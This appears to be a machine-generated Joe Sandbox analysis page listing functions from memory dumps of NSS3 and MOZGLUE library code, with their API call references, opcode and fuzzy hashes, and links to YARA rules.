
Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6CB2CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB2CB4B
sqlite3_free.NSS3 ref: 6CB2CB70
sqlite3_result_error_nomem.NSS3 ref: 6CB2CB99

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: 4fc904453f465bc6c3233e98a89c7d40a9b591faf8523bb0a1adae34dafec4bf
Instruction ID: c40b1ce15b3e78f485ec010343c18a59d0941085c7b4ce00ec120a1315531bb7
Opcode Fuzzy Hash: 4fc904453f465bc6c3233e98a89c7d40a9b591faf8523bb0a1adae34dafec4bf
Instruction Fuzzy Hash: D251D432608B898AD701EF35C04026BB7F4FF87798F108B0DE8996A954EB39D485C747

Function 6CA1CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA1CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA1CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA1CF4E

Strings

0, xrefs: 6CA1CF30

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0e3dcac89b195614f10bfd25ed7c8905a3ac3ca6c3a177b8a030527abe718a3f
Instruction ID: 5e5a8685bd9c69a80f9404321cfddab12fcd5105fadb6ce02f6ae1dc31dad828
Opcode Fuzzy Hash: 0e3dcac89b195614f10bfd25ed7c8905a3ac3ca6c3a177b8a030527abe718a3f
Instruction Fuzzy Hash: 21511275A042168FCB04CF18C490AAABBB5FF99304F198299D8595F792D731ED46CBE0

Function 6CBF4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CAD85D2,00000000,?,?), ref: 6CBF4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBF500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBF50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBF50D6

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: e511392d076fa3eb6efceccfe0c32b8acc70e899d6eb24fbfb3075b721de123e
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 534180B2A402158BCB18CF28DCD179AB7E1FF4431871D866DD85ACBB02E375E895CB85

Function 6CC4A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CC4A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CC4A662), ref: 6CC4A69E
Part of subcall function 6CC4A690: PR_NewCondVar.NSS3(?), ref: 6CC4A6B4

PR_IntervalNow.NSS3 ref: 6CC4A8C6
EnterCriticalSection.KERNEL32(?), ref: 6CC4A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6CC4A944
PR_SetPollableEvent.NSS3(?), ref: 6CC4A94F

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 9f427caa33623eb46a94a78ae4be86b3f306107d55dbbd25db364c520e3c1f7c
Instruction ID: 6dbd70b04e3d95abc342726da326a13185b2e7192e1619fdf577d9c4a75d724e
Opcode Fuzzy Hash: 9f427caa33623eb46a94a78ae4be86b3f306107d55dbbd25db364c520e3c1f7c
Instruction Fuzzy Hash: CD4135B4A01A029FC704CF29D58099AFBF5FF98318725C56AE85ACBB11E731E854CF90

Function 6CB36C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB36C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB36CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CB36CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CC58FE0), ref: 6CB36CFE

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 1e6669105bab0185b499e7109ac2e44e7bf18b07bbf38faa8009da10bb88d5fd
Instruction ID: 6710b59c94ae3b47b1f45de2ca8eedc35a694a6cfea199e10692601f2f6942dc
Opcode Fuzzy Hash: 1e6669105bab0185b499e7109ac2e44e7bf18b07bbf38faa8009da10bb88d5fd
Instruction Fuzzy Hash: 383181B5A002669FDB08CF65C891ABFBBF9FF89248B14443DD909D7700EB319915CBA1

Function 6CC44F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CC44F5D
free.MOZGLUE(?), ref: 6CC44F74
free.MOZGLUE(?), ref: 6CC44F82
GetLastError.KERNEL32 ref: 6CC44F90

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 2c5af823f28214f5c3a276f6f7797198cd5e4e01e60704e4f2284531bcd6722b
Instruction ID: b2b8db6e074819a903743ebd86f33eb3239982f67aa4738e781b253c1bd7b8fe
Opcode Fuzzy Hash: 2c5af823f28214f5c3a276f6f7797198cd5e4e01e60704e4f2284531bcd6722b
Instruction Fuzzy Hash: 62312875A006194BEB01CF69DC81BDFB7B8FF46398F148229EC25A7781E734A9058691

Function 6CA56470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CA582BC,?,?), ref: 6CA5649B

Part of subcall function 6CA2CA10: malloc.MOZGLUE(?), ref: 6CA2CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA564A9

Part of subcall function 6CA4FA80: GetCurrentThreadId.KERNEL32 ref: 6CA4FA8D
Part of subcall function 6CA4FA80: AcquireSRWLockExclusive.KERNEL32(6CA9F448), ref: 6CA4FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA5653F
free.MOZGLUE(?), ref: 6CA5655A

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 687b0e4d699b488845f19c02126992c96c71f4bbf67b664d5a2110bb2362b215
Instruction ID: 058b292d5ee6f745ce68aff8ae7ec9e9e456c962ef9e1660259217b36f671c8f
Opcode Fuzzy Hash: 687b0e4d699b488845f19c02126992c96c71f4bbf67b664d5a2110bb2362b215
Instruction Fuzzy Hash: 3131A2B5A043059FD704CF25D980A9EBBF4FF88318F40852EE85A97741DB34E959CB92

Function 6CBA6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CBA6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBA6E57

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CBA6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CBA6EAA

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 47f6f7aa70cd68a3fab966b0d77e87c1fdaea995cdba70606773103dab886936
Instruction ID: dc7bb2d2297c66840f717033cc332bb708b1c648eb2efc822dbe79292f8f94c9
Opcode Fuzzy Hash: 47f6f7aa70cd68a3fab966b0d77e87c1fdaea995cdba70606773103dab886936
Instruction Fuzzy Hash: 5531E6B2618592EFDB141FB8DC043AAB7A4EB0131AF10463CD4E9D6B80E730755ACF82

Function 6CBA2880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6CBA2896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6CBA2932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBA294C
free.MOZGLUE(?), ref: 6CBA2955

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 3c82c16a594d19dd7dcea460c39d05b8b04614ebbcb702b3f756fb730097722a
Instruction ID: 3a42d3293fceda6484d06f3dfa36c6867555dfd8f5499872f2587c1ff67bb359
Opcode Fuzzy Hash: 3c82c16a594d19dd7dcea460c39d05b8b04614ebbcb702b3f756fb730097722a
Instruction Fuzzy Hash: 0A21E2B66046809BEB108B67EC09F4B77E9EFC5769F040538E48D87A60FB31E8098753

Function 6CBDA8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CBC2AE9,00000000,0000065C), ref: 6CBDA91D

Part of subcall function 6CB7ADC0: TlsGetValue.KERNEL32(?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE10
Part of subcall function 6CB7ADC0: EnterCriticalSection.KERNEL32(?,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE24
Part of subcall function 6CB7ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CB5D079,00000000,00000001), ref: 6CB7AE5A
Part of subcall function 6CB7ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE6F
Part of subcall function 6CB7ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE7F
Part of subcall function 6CB7ADC0: TlsGetValue.KERNEL32(?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AEB1
Part of subcall function 6CB7ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CBC2AE9,00000000,0000065C), ref: 6CBDA934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CBC2AE9,00000000,0000065C), ref: 6CBDA949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CBDA952

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 7c833e6025ae77b1771cd4facc328904a1c2d991a019123399c08c0e8a871233
Instruction ID: b300a14cdb431d5a80dd2d63c220289462b47bfb235f911a02333459cb3423c6
Opcode Fuzzy Hash: 7c833e6025ae77b1771cd4facc328904a1c2d991a019123399c08c0e8a871233
Instruction Fuzzy Hash: 8B3128B46012119FDB04CF18D980E66BBE8FF48358B1681A9E8198B756E734F805CFA2

Function 6CB74FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CB7B60F,00000000), ref: 6CB75003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CB7B60F,00000000), ref: 6CB7501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CB7B60F,00000000), ref: 6CB7504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CB7B60F,00000000), ref: 6CB75064

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: e04aa5abd150bf82abd60c494b90ab9ff8bb614251d708f70f653c570aa030dc
Instruction ID: 1adb82af16bc770373257aa3f23d6c41acea2adc0377d711650aa57e5036782c
Opcode Fuzzy Hash: e04aa5abd150bf82abd60c494b90ab9ff8bb614251d708f70f653c570aa030dc
Instruction Fuzzy Hash: D93127B0A05646DFDB10EF68C48496ABBF8FF09304B118529D869DB700E730E894CFE2

Function 6CBA2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBA2E08

Part of subcall function 6CB914C0: TlsGetValue.KERNEL32 ref: 6CB914E0
Part of subcall function 6CB914C0: EnterCriticalSection.KERNEL32 ref: 6CB914F5
Part of subcall function 6CB914C0: PR_Unlock.NSS3 ref: 6CB9150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CBA2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CBA2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBA2E95

Part of subcall function 6CB91200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB388A4,00000000,00000000), ref: 6CB91228
Part of subcall function 6CB91200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CB91238
Part of subcall function 6CB91200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CB388A4,00000000,00000000), ref: 6CB9124B
Part of subcall function 6CB91200: PR_CallOnce.NSS3(6CC92AA4,6CB912D0,00000000,00000000,00000000,?,6CB388A4,00000000,00000000), ref: 6CB9125D
Part of subcall function 6CB91200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CB9126F
Part of subcall function 6CB91200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CB91280
Part of subcall function 6CB91200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CB9128E
Part of subcall function 6CB91200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CB9129A
Part of subcall function 6CB91200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CB912A1

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 0ae1841b220bdf921097d3c674a9cbc96c3c537bc9788107b4cf3ec9f398fc9c
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 2A21F2B1E043C14BEB00CF959D44BAA3668EFA230CF154279DD4C5B742F7B1E6998293

Function 6CB369B0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(6CB36AB7,0000000C,00000001,00000000,?,?,6CB36AB7,?,00000000,?), ref: 6CB369CE

Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB910F3
Part of subcall function 6CB910C0: EnterCriticalSection.KERNEL32(?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9110C
Part of subcall function 6CB910C0: PL_ArenaAllocate.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91141
Part of subcall function 6CB910C0: PR_Unlock.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91182
Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9119C

SEC_ASN1EncodeItem_Util.NSS3(6CB36AB7,0000001C,00000004,?,00000001,00000000), ref: 6CB36A06
SEC_ASN1EncodeItem_Util.NSS3(6CB36AB7,?,00000000,?,00000001,00000000,?,?,6CB36AB7,?,00000000,?), ref: 6CB36A2D
PR_SetError.NSS3(FFFFE005,00000000,00000001,00000000,?,?,6CB36AB7,?,00000000,?), ref: 6CB36A42

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$ArenaEncodeItem_Value$Alloc_AllocateCriticalEnterErrorSectionUnlock
String ID:
API String ID: 4031546487-0
Opcode ID: 3c4079a784199d240508ba898c87e42d04e2e0422169163a9c904425027ceb82
Instruction ID: a19fba17b10bda00b82bf1301b43ba8c058154397848d669064bc8ccc1769c91
Opcode Fuzzy Hash: 3c4079a784199d240508ba898c87e42d04e2e0422169163a9c904425027ceb82
Instruction Fuzzy Hash: 1011C1B16802A1AFE710CE25CC81B5673ECFB4425CF649529EA1DC3B01F371E825C7A2

Function 6CB5ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CB5ACC2

Part of subcall function 6CB32F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CB32F0A
Part of subcall function 6CB32F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB32F1D

Part of subcall function 6CB32AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CB30A1B,00000000), ref: 6CB32AF0
Part of subcall function 6CB32AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB32B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CB5AD5E

Part of subcall function 6CB757D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CB3B41E,00000000,00000000,?,00000000,?,6CB3B41E,00000000,00000000,00000001,?), ref: 6CB757E0
Part of subcall function 6CB757D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CB75843

CERT_DestroyCertList.NSS3(?), ref: 6CB5AD36

Part of subcall function 6CB32F50: CERT_DestroyCertificate.NSS3(?), ref: 6CB32F65
Part of subcall function 6CB32F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB32F83

free.MOZGLUE(?), ref: 6CB5AD4F

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
